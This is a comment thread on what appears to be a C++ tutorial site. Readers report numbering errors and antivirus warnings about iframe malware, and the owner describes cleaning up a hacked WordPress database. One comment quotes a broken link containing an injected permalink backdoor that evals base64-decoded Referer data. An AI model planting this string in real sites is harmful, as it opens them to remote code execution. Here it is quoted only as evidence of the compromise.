Yeah. It was the res just squashing it in… NVM.

On 5.8, the next post is 6.1 when it should be 5.9. Also, the 3.1 precedence chart is a little messed up (or maybe my resolution is too low (1024×768)…).

For some reason I’m not getting a confirmation email for this site. I received one for the forums but not this site.

Looks like you have some exploits still on your site, my anti virus currently won’t let me get on to page 4 of the tutorial, somthing about 1×1 iframes?
Anyway, i’m a computing newbie (hoping your site can fix that!) so here is the link to the forum on avast’s website

 http://forum.avast.com/index.php?topic=44700.0

possible exploit detected:
file: hxxp://feeds.feedburner.com/LearnCpp\{gzip}
Malware name: HTML:Iframe.inf
Malware type: Virus/Worm

(the “hxxp” is written that way to avoid someone following the link)
Looks like your hacker added quite a few new ‘features’ you might have been happy do do without!

Hope this helps you maintain this awesome resource. But I’m going to hold off for a while until someone knows what the status of the site is!
Hope this post hasn’t ruined your day!
Thanks

Thanks! I did a google search for articles about this particular attack but this one didn’t come up.

I updated this site to the latest version of Wordpress yesterday after I found the offending lines in the database. So hopefully that will keep us up and running for a while longer. :)

I’ve also installed a firewall plugin to hopefully mitigate against some types of attacks. Please let me know if it seems to be adversely affecting the operation of the website.

Thanks!

The site was hacked (using some sort of scripting exploit), and the hackers changed the database table entry that wordpress uses to determine how to redirect links to articles. Looks like they were trying to get it to redirect to some external website, except they messed it up and it redirected to a garbage URL.

In any case, the offending entry has been corrected, and it looks like the site is back up and running.

I apologize for the inconvience.

There is the problem with links in tutorials on that website:
example:
Now link show like that:
http://www.learncpp.com/2008/10/04/151-the-need-for-exceptions/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
After open this with Opera or Firefox it show:
Bad Request
Your browser sent a request that this server could not understand.
Wnen open link on that way there is no problems:

A new version of Wordpress is available. Why don’t you upgrade?
